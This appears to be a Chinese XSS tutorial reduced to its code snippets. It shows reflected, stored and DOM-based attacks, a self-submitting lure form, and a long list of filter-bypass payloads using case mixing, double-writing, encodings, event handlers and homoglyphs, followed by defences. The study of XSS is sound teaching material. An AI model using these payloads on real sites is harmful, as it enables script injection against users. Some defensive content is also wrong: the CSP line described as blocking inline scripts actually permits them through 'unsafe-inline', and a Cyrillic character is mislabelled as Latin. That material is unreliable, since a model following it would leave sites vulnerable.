XSS 跨站脚本

1
攻击者 → 构造恶意链接 → 诱骗受害者点击 → 恶意脚本在受害者浏览器执行

1
http://target.com/search?q=<script>alert(1)</script>

1
攻击者 → 在论坛/评论区提交恶意脚本 → 存储在服务器数据库 → 其他用户访问页面时执行

1
攻击者 → 构造恶意 URL → 页面 JS 解析 URL 参数 → 动态写入 DOM → 脚本执行

1
http://target.com/search?q=<script>alert(1)</script>

1
原链接：http://target.com/search?q=<script>alert(1)</script>
2
短网址：http://dwz.cn/abc123

1
<!-- 诱骗用户点击的页面 -->
2
<img src="https://example.com/beautiful.jpg" />
3

4
<form action="http://target.com/alert.php" method="post">
5
    <input name="data" id="data" type="hidden" value="<script>alert(1)</script>">
6
    <input type="submit" id="btn" value="点击查看更多美女图片">
7
</form>
8
<script>
9
    document.getElementById('btn').click();
10
</script>

1
// 转义单引号
2
' --> \'

1
// 三个八进制数字
2
"e" → "\145"
3

4
// 两个十六进制数字
5
"e" → "\x65"
6

7
// 四个十六进制数字
8
"e" → "\u0065"
9

10
// 示例：编码后的 alert(1)
11
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029");

1
<ScRiPt>alert(1)</ScRiPt>

1
<scr<script>ipt>alert(1)</scr</script>ipt>

1
<script>
2
alert(1)
3
</script>

1
<!-- 使用 / 替代引号 -->
2
<script>alert(/XSS/)</script>
3
<!-- 使用 String.fromCharCode -->
4
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

1
<svg onload="alert(1)">
2
<details open ontoggle="alert(1)">

1
<!-- 使用注释闭合 -->
2
<script>alert(1)//</script>
3
<!-- 或 -->
4
<!-- --><script>alert(1)</script>

1
<!-- HTML 实体编码绕过过滤 -->
2
<a href="javascript:alert(1)">点击</a>
3
<!-- 或 -->
4
<a href="javasc& #114;ipt:alert(1)">点击</a>

1
<!-- 使用拉丁字母替代 -->
2
<ѕcript>alert(1)</ѕcript>

1
<scr\ipt>alert(1)</scr\ipt>

1
<!-- 原始代码 -->
2
<script>
3
function add(x, y){
4
    return x+y;
5
}
6
document.write(add(2,3));
7
</script>
8
<!-- 合并为一行 -->
9
<script>function add(x,y){return x+y;}document.write(add(2,3));</script>

1
http://baidu.com/              ← 基准
2
http://www.baidu.com           ❌ 域名不同
3
http://baidu.com:9001          ❌ 端口不同
4
https://baidu.com              ❌ 协议不同
5
http://baidu.com/abc/          ✅ 同源（路径不影响）
6
http://baidu.com/lab/          ✅ 同源（路径不影响）

1
// PHP 设置 HttpOnly Cookie
2
setcookie("name", "value", time()+3600, "/", "", false, true);
3
//                                                                   ↑
4
//                                                              HttpOnly

1
// PHP 输出时进行 HTML 实体编码
2
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
3

4
// PHP 设置 HttpOnly Cookie
5
setcookie('session_id', $value, [
6
    'httponly' => true,
7
    'secure' => true,   // 仅 HTTPS 传输
8
    'samesite' => 'Strict'
9
]);

1
<!-- 仅允许来自同源的脚本 -->
2
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
3

4
<!-- 仅允许来自特定域名的脚本 -->
5
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://cdn.example.com">
6

7
<!-- 禁止内联脚本执行 -->
8
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">

1
反射型：恶意代码在 URL 中，一次性
2
存储型：恶意代码在数据库中，持久性
3
DOM型：恶意代码在 URL 中，纯前端触发，不与服务器交互

1
大小写    → <ScRiPt>alert(1)</ScRiPt>
2
双写      → <scr<script>ipt>alert(1)</scr</script>ipt>
3
编码      → 实体编码、Unicode、Base64
4
生僻元素  → svg、details、video、audio
5
注释      → 用 // 或 <!-- --> 闭合

1
输入过滤  → 过滤危险标签和事件
2
输出编码  → htmlspecialchars()
3
Cookie    → HttpOnly + Secure + SameSite
4
CSP       → 限制脚本来源
5
富文本    → 使用成熟编辑器